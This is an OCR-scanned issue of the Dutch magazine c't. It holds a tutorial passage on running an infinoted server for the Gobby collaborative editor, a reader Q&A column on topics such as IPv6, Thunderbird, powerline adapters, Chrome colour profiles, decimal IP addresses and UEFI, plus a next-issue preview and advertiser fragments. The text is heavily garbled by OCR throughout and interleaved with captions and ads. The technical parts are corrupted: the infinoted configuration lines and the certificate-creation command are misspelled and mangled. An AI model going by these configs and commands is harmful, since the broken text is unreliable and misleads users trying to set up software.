moet op een van de deelnemende computers 
de infinoted-server draalen. Op die computer 
maak je in de direaory /etc/xdg het configura- 
tiebestand infinotedxonf aan, dat er ongeveer 
als voIgt uit moet komen te zien: 

[infinoteti] 

security-policy^requinE-tls 

certificatefile^/etc/xdg/infinoted.cert 

key-file-/etc/)dg/infinoted.key 

p^sword=topseaet 
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autosaW'intenraL^S 

root-directory=/home/tester-BiiL/gobby/data 

synC'^iit^ctory^/hotive/tester-Bill/gobby/export 

sync-(ntefval=1D 

De regel security-poticy^require^tls zorgt ervoor dat 
de verbinding naar de server versleuteld meet 
worden. De daampvolgende twee regels ver- 
tellen infinoted waar het - nog aan te maken 
- servercertificaat te vinden is. De overige 
regels bevatten het wachtwoord om deel te 
nemen aan een Gobby-sessie, het interval voor 
de autosave-functie en de werkdirectory's. Zo 
wordt er tn de root-directory steeds een XML- 
bestand aangemaakt van de actieve sessie. 

Het servercertificaat en de keyfile kun je aan- 
maken met de opdracht 

infinoted -cmatecertfficate -createkey 

Als je Gobby slechts sporadisch gebruikt, kun je 
de server met het commando Enfinoted & hand- 
matig starten, maar je kunt dit ook via de start- 
scripts van het systeem vastleggen. Dit kun je 
het beste doen door het commando aan het 
bestand /etc/rc.local toe te voegen, dat Ubuntu, 
Mageia en Fedora aan het einde van een mul- 
tiuser-runlevel uitvoeren. Je kunt ook je eigen 
startscript voor de service schrijven. Hoe dat 
eruit moet komen te zien hangt af van welk ini¬ 
tial isatieprogramma de distributie gebruikt: Sys 
V inib Upstart of systemd. 

Voor het gebruik van Gobby in het lokale 
netwerk is deze configuratie voldoende. Afs de 
inffnoted-server via internet bereikbaar moet 
zijn, moet poort 6523 in de firewall van de ser¬ 
ver opengezet worden en moet er een ftrewali- 
regel op de router of server bestaan die naar 
deze poort forward. 


Team editing 

Na het starten van Gobby verschijnt er een in 
tweeen gedeeld programmavenstec Door mid- 
del van Zeroconf kan het programma onder 
Linux en Mac een lijst tonen met alle infinoted- 
servers in het lokale netwerk. Met Zeroconf kun 
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De interface van Gobby 
bestaat uit een bewer- 
kingsgedeelte, server- en 
gebruikerslijst en een 
chatvenster. 


je een verbinding opzetten zonderbij komen de 
configuratie, maar deze techniek wordt In de 
Windowsversie niet ondersteund. Je kunt dus 
niet eenvoudig dubbelklikken op een server. 
Om toch verbinding te maken met de server^ 
moet je het IP-adres invoeren in het veld 'Re¬ 
mote Endpoint; Vervolgens verschijnt er een 
waarschuwing over een zelf ondertekend cer- 
tiflcaat, waama je het serverwachtwoord ult het 
infinoted-contiguratiebestand kunt invoeren. 
Deze methode moet je ook gebruiken als je 
verbinding maakt via het internet, voor zover je 
geen vaste computemaam hebt gereserveerd 
by een dienst als DynDNS. 

Na het aanmelden op de server kan iedere 
client tekstbestanden aan maken of openen 
via 'New' en 'Open' in de werkbalk. Voor ieder 
bestand maakt de server een sessiebestand in 
XML-formaat aan, zodat je onderbroken ses- 
sies op ieder moment weer kunt op pa k ken. 
De namen van bestanden die tijdens een ses- 
sie worden geopend verschijnen in het drop- 
downmenu onder de actieve server. Iedere 
deelnemer kan ze openen door erop te dub- 
belklikken. Rechts in het venster worden de 
namen van alJe deeJnemers aan een sessie ver- 
meld. Voor de namen staan gekleurde bolletjes, 
waarvan de kleur overeenstemt met de kleur 
van de tekstwijzlgingen van de betreffende 
deelnemer. 

Het centrale gedeelte van het programma- 
venster is de teksteditor. Erzijn hier vier menu's, 
waaronder ’Edit' en View'. In het menu 'Edit' 
vind je naast de zoek- en vervangfuncties ook 
de instellingen. In het menu View kun je syntax¬ 
highlighting voor diverse programmeer- en 
markuptalen Inschakelen. Hierbij herkent het 
programma niet alleen mainstream talen als C 
C++, Java, Perl, PHP en FTTML, maar ook minder 
gang bare talen als Boo, Prolog, Lua, LaTEX en 
Texinfo. 


Via de drie middelste tabs van het instel- 
lingenvenster kun je de werking en het 
uiterlijk van de teksteditoraanpassen. 


Open je via het menu 'Edit' de 'Preferences', 
dan krijg je een venster met vijf tabbladen. De 
opties onder het tabblad 'Appearance' hebben 
alleen invioed op je eigen sessie, maar voor de 
opties onder het tabblad Editor’ zul je bepaalde 
afspraken moeten maken met de andere au¬ 
teurs. Daar leg je bijvoorbeeld de tabbreedte 
vast en of Gobby een tab of een spatie toe- 
voegt als je op de Tab-toets drukt. 

Met de optie om documenten automatisch 
op te slaan geef je de editor de opdracht regel- 
matig een kopie van detekst lokaal te bewaren. 
In tegenstelling tot het sessiebestand dat door 
de server wordt opgeslagen, gaat het hier om 
pure tekst waarin je niet meer kunt zien wie 
voor een bepaalde tekstpassage verantwoor- 
delijk is. In het menu File' kun je met de optie 
'Export As HTML' aangeven dat je een kopie 
van de lokale sessie wilt bewaren waarin de 
wijzigingen van iedere auteur een andere kleur 
hebben. 

Zodra een sessiedeelnemer lets in de tekst 
verandert, verschijnt het in de desbetreffende 
gebruikerskleur in het editorvenster van alle au¬ 
teurs. Overigens zonder dat de cursor naar die 
positie springt. Zo kun je dus geconcentreerd 
aan de inlelding werken zonder gestoord te 
worden door wijzigingen van een medeauteur 
aan het einde van de tekst Zodra afzonderlijke 
passages gefinetuned moeten worden, zul je 
de ingebouwde chatfunctle in een apart ven- 
stertje onderaan het hoofdvenster leren waar- 
deren. In plaats van in je eentje te werken kun 
je hier wijzigingsvoorstellen en correaies eerst 
met elkaar bespreken voordat ze in de tekst 
worden doorgevoerd. 

De samenwerking werkt het beste als je van 
tevoren vastlegt wIe voor we Ike stukken ver- 
antwoordelijk is. Daarna kunnen alle auteurs 
beglnnen te schrijven zonder elkaar te hinde- 
ren. Ga je vervolgens de tekst redigeren, dan 
kun je het typwerk aan een van de deelnemers 
overlaten. Ondertussen bespreek je dan met el¬ 
kaar de benodigde wijzigingen via het chatven- 
ster. Dat scheeit een hoop stress voor degene 
die achter het toetsenbord zit, want hij kan de 
wijzigingen rustig nalezen in de chat en deze 
ve rvol gen s sn el doorvoe ren. (j ca) dt 
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Hotline 


Tijdelijke standaard 

Kan ik HTML 5 al gebruiken? Ik hoorde 
dat de standaard pas over tien jaar defi' 
nitief zou zijn. 

HTML5 en verwante webstandaarden 
zijn nog geen 'advies' van de standaardi- 
satreorganisatie W3C 2o'n advies is de laat- 
ste stap in een ontzettend lange procedure 
die onder meer de implementatle van de 
standaard vereist. 

Het g rootste deel van HTML5 is in mid- 
dels stabiel en verspreid genoeg om er in de 
praktijk mee aan de slag te kunnen. Op en- 
kele gebieden zijn de browsers echter nog 
oiet helemaal compatibel of werken de pro- 
ducenten nog aan experimentele implemen- 
taties. Hoe goed jouw browser (en andere) 
HTML5 ondersteunt, kun je via de softlink 
controleren. 

Overigens schrijf je HMTL5 offideel aan 
elkaar. Bij oudere versies stond er altijd een 
spatie tussen HTML en het versienummer 

^ Softlinkimw 
Overstappen op IPv6? 

De laatste tijd lees ik zo'n beetje overal 
dat de dagen van IPv4 geteld zijn. In de 
toekomst moet internet volledig op IPv6 
draaien. Is het verstandig om nu direct een 
router aan te schaffen die IPv6 ondersteunt? 
Ikzou erdan vroeg bij zijn en aile problemen 
van meet af aan kunnen voorkomen. Of is 
het toch slimmer om een jaartje te wach- 
ten totdat de techniek lets verder is en de 
kinderziektes eruit zijn? 

Zolang je provider nog geen IPv6 aan- 
biedt (en dat doen in Nederland de 
meeste nog niet) heb je niet veel aan zo'n 
router. Bovendien kun je je oude router ook 
nog gewoon gebruiken als je provider wel al 
het nieuwe protocol mocht aanbieden. IPv4 
blijft voorlopig nog bestaan en providers 
zullen hun apparatuur zo instellen dat een 
router zonder IPv6 ook in de toekomst IPv4 
krijgt voorgeschoteld. 

De enige uitzondering zou een heel oude 
en redelijk slechte router kunnen zijn die 
zich zal verslikken in het feit dat er ook IPv6 
wordt aangeboden. Zo'n router hebben we 
echter nog niet gezien- 

Je hoeft overigens niet bang te zijn voor 
een run op IPv6-routers, omdat al behoorlijk 
wat a p pa rate n geschikt zijn voor IPv6. Er Is 
dus geen reden om overhaast een andere 
router aan te schaffen. Mocht je om de een 


of andere reden toch een nieuwe router 
nodig hebben, dan is het handig erop te let- 
ten dat die zowel IPv4 als IPv6 ondersteunL 

Volgorde van binnenkomst 
Thunderbird 

Een collega kreeg gisteren een e-mail 
en stuurde deze vandaag naar mij door. 
Omdat die mail van gisteren was, kwam die 
in de postbus van mljn Thunderbird een eind 
lager te staan - onder de nieuwe e-mails, 
zodat ik deze pas opmerkte toen mijn coL 
lega mij er lets over vroeg* Hoe kan ik ervoor 
zorgen dat deze e-mails bovenaan in de lijst 
komen te staan? 

Sorteer de mails niet op datum maar op 
de volgorde waarin ze in je postbus te- 
rechtkomer\. Thunderbird heeft hi ervoor een 
speciale kolom, die je eerst zichtbaar moet 
maken. Helemaal rechts naast de titels van 
de kolommen vind je een klein icoontje waar 
je op moet klikken* Kies vervolgens voor 
Volgorde van ontvangst' 



Thunderbird kan e-marls niet alleen op de 
fniet altijd juiste} datum sorteren, maar 
ook op de volgorde van binnenkomst. 


Powerline van huis naar huis 

Ik heb twee Homeplug-AV-compatibele 

powerlineadapters. De ene is aange- 
sloten op een Fritzbox, via de andere kan 
ik dan met mijn tv op internet Vanmorgen 
zag ik opeens een nieuwe, voor mij onbe- 
kende gebruiker in de thutsnetwerklijst van 
mijn Fritzbox en toen ik de interface opende 
kwam ik erachter dat ik in een andere box 
zat die niet met een wachtwoord beveiligd 
was. Aan de hand van de namen in de tele- 
foon lijst vermoedde ik dat het de box van de 


buurman was die in een huis schuin tegen- 
over mij woont Door de verblndingen naar 
de powerlineadapters weg te halen, kwam ik 
erachter dat die het vreemde gedrag veroor- 
zaakten. Navraag bij mijn buurman beves- 
tigde dat hij inderdaad ook Homepfug-AV- 
compatibele adapters gebruikt 

Dtt effect treedt vooral regelmatig op in 

flats, De elektriciteitsmeter Is geen abso¬ 
lute blokkade voor hoge frequences, zodat 
een deel van het powertinesignaal vaak toch 
bij een buurman aankomt Dat dit zelfs tus¬ 
sen verschillende huizen kan gebeuren, Is 
voor ons ook nieuw. 

Daarom raden we altijd aan om een per- 
soonlijk wachtwoord in te stellen, temeer 
omdat Homeplug-adapters allemaal met 
dezeifde sleutel worden verkocht om het 
installeren makkelijker te maken. Daar hoef 
je de meegeleverde software tegenwoordig 
niet eens voor te gebrutken, maar alleen ge- 
durende een bepaalde tijd op een knop op 
de adapter te drukken die je het eerst in het 
stopcontact gestoken hebt, Kijk maar eens m 
de handleidlng. 

Werkbaik 'Computer' 

Onder Vista had ik een 'Computer-werk¬ 
baik met een overzicht van a lie drives, 
Kan ik die onder Windows 7 ook terug krij- 
gen? 

Onder Vista bestond de mogell|kheid 

mappen als losse werkbalken op je 
bureaublad te zetten door ze vanuit de 
Verkenner naar een van de randen van de 
desktop te slepen. Met de map 'Computer' 
kon je 20 een overzicht van de drives aan 
een rand van je desktop hebben staan die 
je via het snelmenu ook nog eens altijd op 
de voorgrond kon hebben staan. 

Dat kan onder Windows 7 niet meer, 
maar via de taakbalk kun je wel iets verge- 
fijkbaars doen. Klik met rechts op een leeg 
stukje op de taakbalk en selecteer 'Werkbai- 
ken / Nieuwe werkbaik.,/ Nu kun je een map 
kiezen om als werkbaik aan de taakbalk toe 
te voegen. Kies 'Computer', klik op 'OK' en 
klaar ben je. 

Standaard heb je nu aan de rechterkant 
op de taakbalk een werkbaik 'Computer', 
Klik je op de pijitjes, dan kun je door de 
drives en onderfiggende mappen navige- 
ren, net als in de Verkenner, Maar je kunt 
de drives ook direct in de taakbalk laten 
zien. Ontgrendel de taakbalk via het snel¬ 
menu, en trek de werkbaik aan de puntjes 
naar links open. Via het snelmenu kun je 
eventueel de trtel van de werkbaik en tekst 
bij de pictogrammen uitschakelen, Ook 
kun je in dat menu via 'Beeld' kiezen tus¬ 
sen grote en kleine pictogrammen. Klik je 
dan op een van de drives, dan krijg je een 
Verkenner-venster waarin de betreffende 
drive geselecteerd is. Eventueel kun je de 
werkbaik ook helemaal links direct naast 
de startknop zetten, Vergrendel tot slot de 
taakbalk weer. 


142 


Ct2011,Nr.12 










op dezelfde manier kun je ook de balk 'Snei 
starten' van KP terughalen. Kies daarvoor 
als map voor de nieuwe werkbalk '%user- 
profile%\AppData\Roaming\Microsoft\ 
Internet Explorer\Quick Launch'. 

Wil Je toch per se een 'Computer'-balk 
die los staat van de taakbalk, dan kun je de 
sharewaretool DriveBarvan Funducgebrui- 
ken {zie softlink). Die kun Je gratis downloa- 
den, maar voor continu gebruik krijg |e het 
verzoek een licentiete kopen voor 10 dollar. 
Het is een 32-bit programma, maar draait 
bij ons ook op een 64-bit Windows zonder 
problemen, al biedt Funduc daar geen on- 
dersteuning voor. 

Als alternatief met meer opttes kun je de 
scriptverzameling ac'tivAid gebrulken (zie 
softlink). In de instellingen voor de exteosie 
'Drive I con s' kies je bij 'Where to create J de 
optie 'Custom' en stei je een (nog) lege map 
als doelmap in. Deze map kies je vervolgens 
als werkbalk, zoals hierboven beschreven. 
Dat is even wat omslachtiger, maar het 
voordeel is bijvoorbeeld dat je dan ook 
kunt aangeven dat je bepaalde drives niet 
wilt laten zien, 

^ ioftlinkllUW 

Chrome en kteurprofielen 

Ik vind Chrome als browser vcei pretti 

ger dan Firefox en Safari, maar het na- 
deel van Chrome is dat de kleuren op mijn 
wide-gamut-monitor ondanks kaiibratie te 
verzadigd weergegeveTi worden. Hoe kan 
dat en wat kan ik ertegen doen? 

Firefox en Safari gebruiken het in Win¬ 
dows of Mac OS ingestelde kleurprofiel 
om de kleurruimte van foto’s correct om te 
rekenen oaar de kleurruimte van de moni- 
tor. Chrome doet dat niet standaard. Het' 
zelfde geldt trouwens voor Opera en Inter¬ 
net Explorer* 

Met de start para me ter -enable-monitor- 
profile kun je Chrome instrueren om het mo¬ 
nitor profie! wel te gebruiken, Kllk hiervoor 
onder Windows met de rechter muistoets 
op het pictogram waarmee je Chrome nor- 
maliter start, en kies 'Eigenschappenl Voeg 
nu -enable-monitor-profile toe aan de aanroep 
van Chrome in de regel 'Doel* Als je Chrome 
vastgemaakt hebt aan de taakbalk, moet je 
eerst rechts op het symbool in de taakbalk 
klikken en dan op het Google-symbool in 
het menu dat dan opengaat. Vervolgens re- 
kent Chrome alle kleuren om naar de kleur¬ 
ruimte van de monitor. Daarbij gaat het niet 
alleen om kleuren uit afbeeldrngen, maar 
ook om kleuren die via CSS of HTML opge- 
geven worden. 

Chrome is nog steeds niet in staat om 
kleurprofielen die in afbeeldingen geVnte- 
greerd zijn correct te mterpreteren, maar 
maakt overal sRGB van. Voor de meeste fo- 
to's is dat gelukkig ook goed. De paar foto's 
die met AdobeRGB-kleurruimte opgeslagen 
zijn, krijgen hierdoor helaas wel te bleke 
kleuren. 


Uitvullen voor nieuwe regels 
voorkomen 


Afbeeldingen uit Word- 
documenten haten 


Ik heb in Word een document gemaakt 
met een aantal lange opsommingen die 
deels uit meerdere alinea's bestaan. Die ali- 
nea's moeten dan dus niet met een nieuw 
nummer beginnen, wat ik aar^geef door een 
handmatig regeleinde in te voegen. 

De tekstuitlijning heb ik ingesteld ais uit- 
gevuld, maar Word gedraagt zich nu anders 
dan bij een 'echte' alineaovergang en vult 
ook de laatste regel uit tot aan de rechter- 
marge, Dat ziet er lelijk uit als er maar een 
paar woorden op die regel staan en er dus 
grote gaten in de tekst vallen, Hoe kan ik het 
uitvullen in de laatste regel voorkomen? 

Je hoeft alleen aan het eind van een 
alinea een tab in te voegen, voordat je 
met Shift-Enter een handmatig regeleinde 
invoegt 

inhoud zoeken onder Windows 7 

Ik wil in een map onder Windows een be- 
stand vinden waarvan ik zeker weet dat 
een he pa a Id woord erin voorkomt* Maar als 
ik dat woord in de Verkenner in het zoekveld 
rechtsboven intyp, vindt Windows niets. Kun 
Je nret meer in de inhoud van bestanden 
zoeken? 

Dat kan wel en Windows doet dat nor- 
maalgesproken ook automatisch* Maar 
dat geldt alleen voor geindexeerde mappen, 
Je kunt mappen waarin je wilt zoeken laten 
indexeren Cind' in het zoekveld van het start- 
menu intypen, 'indexeringsopties' en daarin 
'wijzigen' kiezen), of Windows opdracht 
geven om ook in niet geVndexeerde mappen 
in de inhoud te zoeken. Hiervoor typje 'map' 


Ik wil alle afbeeldingen uit een Word 
2010-document extraheren dat ik niet 
zelf gemaakt heb, Ik kan natuyflljk op elk 
plaatje afzonderlijk rechtsklikken en via het 
sneimenu opslaan, maar het zijn er zoveel 
dat ik me afvroeg of er geen snellere manier 
is. 

Het DOCX-formaat is eigenlijk een ZIP- 
bestand waarin de tekst er^ alle andere 
onderdelen, waaronder de afbeeldingen, in 
een eigen map worden opgeslagen. Je hoeft 
het bestand dus alleen maar open te maken 
met een compressietool, bijvoorbeeld het 
opensourceprogramma 7Zip, Afhankelijk 
van de tool moet je de DOCX-exlensie soms 
eerst veranderen in ZIP, maar bij 7Zip is dat 
niet nodig. Via het pad \word\media kom je 
dan bij alle afbeeldingen. 

Je kunt ook het Word-document als web- 
pagina opslaan. Dan komen de plaatjes in de 
map <bestandsnaam>-bestanden terechL 
Deze true werkt trouwens ook voor DOC^ 
documenten in het oude binaire formaat. 

Vreemde IP-adressen 

Een vriend stuurde mij onlangs de link 
http://1240716074. Eerst moest ik daar 
om lachen omdat hij mijns inziens duidelijk 
een fout gemaakt had, maar toen ik er toch 
op klikte kwam ik bij Google uit Hoe kan 
dat? 

Een IPv4-adres is niet meer dan een 
32-bit getal. Normaaf schrijf je die in 
vier blokken met punten ertussen, zoals 
193.99.144.85, maar dat is alleen om de lees- 
baarheid te vergroten. 


in het zoekveld van 
het startmenu en kies 
je 'Mapopties', Hier 
klik je in het tabblad 
'Zoeken' op 'altijd 
naar bestandsnamen 
en inhoud zoekenl 


Windows doorzoekt 
standaard alleen 
in geindexeerde 
mappen ook 
de inhoud van 
bestanden, maar 
dat kan desgewenst 
ook in alle andere 
mappen. 


Mapopties 


JjWgfem^n Zoeken 

Watwitt ti 

jri Jocali&s naar bastandsnarren en kihoud zoeken. en in 

locate ailaen naar bastandanaman zoaken 


Q i^d naar bestandsnaman an mtioud idaken (dit kan aan aantaf 

^nuiten duren) ..... 


Hoe wil u zoeken? 

^Zoekreaultaian in ^ndaifcggenda mappen opnemen tijdena het zoeken in 
bestandsmappen 

^^edeelteliike overeenJeomaten zoeken 
^Zoeken metnatuurlijk taal gebruik 

indes nret gebruiken tijdens het zoeken naar ayateembeatanden in 
beatandsmappen (dil kan een aantal minuten duren) 


Zoeken in nie^ge^^^erde locaaea 
|yj Indusief aysteemniappen 

I I Inolusiefgecompiimeerde bestanden (^IP. CAB, ..J 


StandaardinstflJlingen heraiellen 


OK 


; [ Annuleren J | Tpepagse^ 
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Debonte firmware- 
set-ups van veel 
U EF I- moederbo rd en 
maken de systeem- 
instellmgen alleen 
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makkelfjker 
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De browser rekent deze weergave weer om 
naar het bijbehorende getal om de verbin- 
ding op te bouwen. Daarbij worden ook 
veel andere formaten geaccepteerd. Als het 
getal bijvoorbeeld met minstens Mn nul be¬ 
gins word! dit als een octaal getal gernter- 
preteerd. Als je achteraan begint, kun je ook 
punten weglaten als je de twee delen die 
daardoor gescheiden zijn op de juiste manier 
samenvoegt Ook hexadecimale getallen en 
comblnaties van de verschillende formaten 
zijn mogefijk. Zo ziet 00325.206.63299 er uit 
als een telefoonnummer uit het Belgische 
Dendermonde, maar is dat eigenlijk het IP- 
adres van fnl.nl, de ultgever van c't 

Spammers en phishers gebruiken dit 
soort trues graag om de uri te verbergen 
waar hun slachtoffers op moeten kllkken. 
Bij IPv6 werken deze goocheltrucs trouwens 
niet meer omdat de weergave van de adres- 
sen daarbij veel strikter bepaald is. 

Draadloze toetsenborden 

Kun je beter een draadloos toetsenbord 
met Bluetooth kopen of met een proprie- 
taire 2,4GHz-usb-dongel? 

Als je puur naar het prlncipe kijkt, zou 
je verwachten dat de extra kosten voor 
een Bluetooth-toetsenbord lonen omdat je 
die niet alleen met je pc of notebook kunt 
verbinden, maar ook met je gamingconsote, 
tablet of smartphone. Maar in de praktijk ligt 
dat anders, Ondersteuning voor Bluetooth 
betekent niet meteen dat je een toetsenbord 
kunt aandocken. Vooral bij Android-tablets 
gaat dit vaak mts. 

Als je het toetsenbord voor een desktop- 
of thulsbioscoop-pc wilt gebruiken, heb 
je vaak meer aan een proprietaire dongel. 
Daarbij is de verbinding actief zodra je de pc 
inschakelt Met de meeste Bluetooth-toet¬ 
senborden kun je de pc pas bedienen als het 
besturingssysteem opgestart Is. Daar wordt 
de Sfuetooth-stack namelijk door beheerd. 
Met een 2,4GH2-toetsenbord kun je over het 
algemeen zonder problemen Je BIOS insteh 
len en op Windows-meldtngen In tekstmo- 
dus reageren. 

Duurzame toetsenborden 

Ik zoek een zo duurzaam mogelijk toet¬ 
senbord. Waar moet ik op letten? 

Toetsenborden met microschakelaars 
hebben de langste levensduur. De meest 
gebruikte schakeiaars zijn de MX-schakelaars 


van Cherry (inmiddels 
bekend als ZF Electro¬ 
nics). Daar zijn vijf vari- 
anten van met verschil¬ 
lende drukpunten. De 
zwarte MX-schakelaars 
wo rd eti ge waa rd eerd 
vanwege de llneaire aan- 
slag, maar maken rdatief 
veel lawaai. ’IBM-toet- 
senborden’ met veerme- 
chanisme zijn nog duurzamer - en nog luid- 
ruchtiger. Dit type wordt inmiddels door het 
Amerikaanse Unicomp gemaakt. 

De meeste goedkope toetsenborden zijn 
folietoetsenborden. Hierbij worden twee 
plasticmembranen met een geleidende 
baan door een andere foiie licht op afstand 
gehouden. Hierover ligt een rubbermat met 
nopjes onder de toetsen- Bij het typen zorgt 
het nopje voor het contact tussen de gelel- 
dende banen. 

Folietoetsenborden gebruiken een sim- 
pele, buisvormige toetsgeleidfng en hebben 
in eerste instantie een zachte aanstag. Dat 
btijft echter niet lang 20 , De meest gebruikte 
toetsen slijten het eerst af, bij pc-gamers en 
veettypers soms al binnen een half jaar. De 
meeste goedkope toetsenborden en ook de 
toetsenborden van notebooks werken met 
de folietechniek. 

Schaartoetsenborden zitten vergelijkbaar 
in elkaar, maar hierbij leidt een schaarvormig 
plastic mechanisme de toets. Als resultaat 
krijg je platte toetsen met een relatief duur¬ 
zaam drukpunt. De huidige Apple-toetsen- 
borden en sommige notebooks gebruiken 
een schaarmechanisme. 

We! of geen UEFl 

tk ben momenteel op zoek naar een 

moederbord voor mijn n feu we zefbouw- 
pc. Ik vraag me af of ik per se een moeder¬ 
bord met UEFI-firmware nodtg heb. Ik heb 
gelezen dat UEFI-systemen sneller booten, 
dat de grafische set-upfnterface makkelij- 
ker te bedienen is en dat er nieuwe functres 
toegevoegd zijn. Geldt dat voor alfe UEFl- 
borden? 


De Unified Firmware Extension Inter¬ 
face [UEFl) opent nieuwe mogelljk- 
heden voor firmwareprogrammeurs^ maar 
daar maken ze niet altijd gebruik van. 
UEFI-pionier Intel ziet tot nu toe bijvoor¬ 
beeld volledig af van een grafische set-up 
voor BIOS en firmware en er zijn veel UEFl- 
moederborden die niet sneller of zelfs nog 
een stuk langzamer booten dan die met 
een ouderwets BIOS. Bovendien zijn de 
set-ups bij veel UEFl-moederborden die 
je met de muis kunt bedienen niet per se 
makkelijker te bedienen dan de klassieke 
tekstmenu's omdat de moederbordfabri- 
kanten de aanwezige opties nog steeds 
onvoldoende uitleggen en documenteren. 
Een deel van de mogelijke voordelen van 
UEFl kun je bovendien pas gebruiken als je 
je besturingssysteem ook in UEFI-modus 
installeert. 

Tot nu toe Is het grootste voordeel dat je 
Windows 7 x64 ook op een harde schijf van 
meer dan 2,2 TB kunt installeren* Sommige 
versies van de komende Windows 8 moe¬ 
ten nieuwe UEFf-functies gebruiken, maar 
voor zover we nu weten verelst bijvoor¬ 
beeld Secure Boot' een UEFI-versie vanaf 
2.3.1. Erzijn echter nog helemaal geen sys- 
temen in de handel die dat hebben. 

Als je je nieuwe pc langere tijd wilt ge¬ 
bruiken, IS het zeker zinvol nu al op UEFI- 
firmware te letten - binnenkort zijn 3T8- 
harddisks waarschijnlijk niet meer exotisch, 
zodat je bij een upgrade misschien in UEFI- 
modus wilt installeren. Verder is het nog 
steeds afhankelijk van het specifieke moe¬ 
derbord en de daarvoor gemaakte firm¬ 
ware hoe snel het systeem boot en welke 
functies je allemaaf kunt gebruiken. 
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Muziek uit de cloud 

Met streamingdiensten en online^opslag- 
services als iTunes in the Cloud, Google 
Music en Amazons Cloud Player kun je je 
favoriete muziek te alien tijde en overal 
beluisteren* We namen de nieuwe dien- 
sten onder de loep en laten ook zien hoe 
je de regie over je muziekverzameling op 
internet kunt behouden. 


Accesspoints voor buiten 

Wlan-basisstations zijn niet altijd krachtig 
genoeg om ook de achtertuin te bereiken. 
Wil Je daar toch van draadloos internet 
genieten> dan kun je een repeater bij het 
raam zetten. Eleganter is echter de oplos- 
sing met een outdoor accesspoint dat je 
buiten aan de muur bevestigt Het appa- 
raat meet dan wel weerbestendig zijn* 




Het Linux-bestandssysteem Btrfs 

Met geYntegreerde RAID- en volume-ma¬ 
nagement, checksums om bestanden te 
beveiligen en snapshots biedt het 'Next 
Generation Filesystem' Bufs opties die 
je in geen enkel ander Linux-bestands¬ 
systeem aantreft. In een aantal distributes 
is hij standaard al aaowezig, de rest zal 
spoedig volgen. 

Netwerkdiensten via internet 

So ms is het erg handig om bepaafde net¬ 
werkdiensten aar> te bieden via Internet, 
bijvoorbeeld als je bestanden wilt delen, 
andere computers beheren of je eigen 
fotoalbum wilt hosten, Je kunt dan zomaar 
tegen technische problemen aanlopen die 
onoverkomelijk lijken te zijn. Wist je maar 
hoe je door die lastige NAT-grenzen been 
kunt breken! Met een beetje knowhow is 
dat echter geen enkel probleem. 


PE 3.0 redt Windows 7 

Windows 7 heeft een aantal tools voor het 
geval dat je niet meer kunt booten* Als de 
geautomatiseerde reparatiepogingen niet 
lukken, moet je zelf de handen uit de mou- 
wen steken. Bijvoorbeeld met behulp van 
het meegeleverde maar moeilijk te vinden 
reparatiesysteem Windows PE 3.0* 




Bouw je eigen server 

Je kunt natuurlijkeen kant-en-klare home- 
server kopen waarbij je jezelf beperkt tot 
de rol van administrator, maar het Is na- 
tuurlijk veei leuker om er zelf een in elkaar 
te zetten* Wij bouwen een stille en zuinige 
machine waar je alle kanten mee op kunt 
en waar zowel Windows Home Server 
2011 als Linux op past* 


Adverteerder 

Website 

Pag 

AVM 

www.Fritzbox.eu 

13 

Bose 

www.bose.nl 

83 

Devob 

www.devolo.nl 

111 

EIzo 

www.elzo.nl 

119 

Fujitsu 

http://emea.fujrtsy. 

com/scanners/ct 

7 

Hetzner Online AG 

www.hettner.com 

148 

Hostway 

www.hostwdy.nl 

147 

HPS Industrial 

w w w, h psi nd u St fia 1. n 1 

95 

Internet Access 

Facilities 

wwwiaLnl 

39 

Kaspersky Lab 
Benelux B,V. 

www.kaspersky.com/nl 

2 

Reccen 

www.reccen.nl 

99,101 

Strato 

www.strato.eu 

9,11 

Supermicro 

w w w.s u permlcro.n 1 

17,21 


Reageren? 

Heb Je zelf vragen, opmerkingen of correcties 
of wil je gewoon je ei kwijt? Bezoek dan ons 
forum. Daar kun je ook discussieren of cor¬ 
recties voor artikelen plaatsen. Het forum is 
bedoeld voor iedereen die c't een warm hart 
toedraagt. 

Je vindt het forum op http://forum,ct.nL 
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Wij verzorgen uw IT diensten tot in de details: 
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* TrafFic is gratis. Wij beperkan de snelheid tqt 10 Mbit/s als er meerdan 10.000 GB/maand gebruikt 
word. Optioneei kan een permanente 100 Mbit/s bandbreedte berechnet worden bij 6 € per extra TB 
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Hetzner Online beschermt 
actief het milieu door 100% 
duurzame energie te ge- 
Voig onze stappen 
oor een schonene toekomst. 
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ROOT SERVER EX 6 
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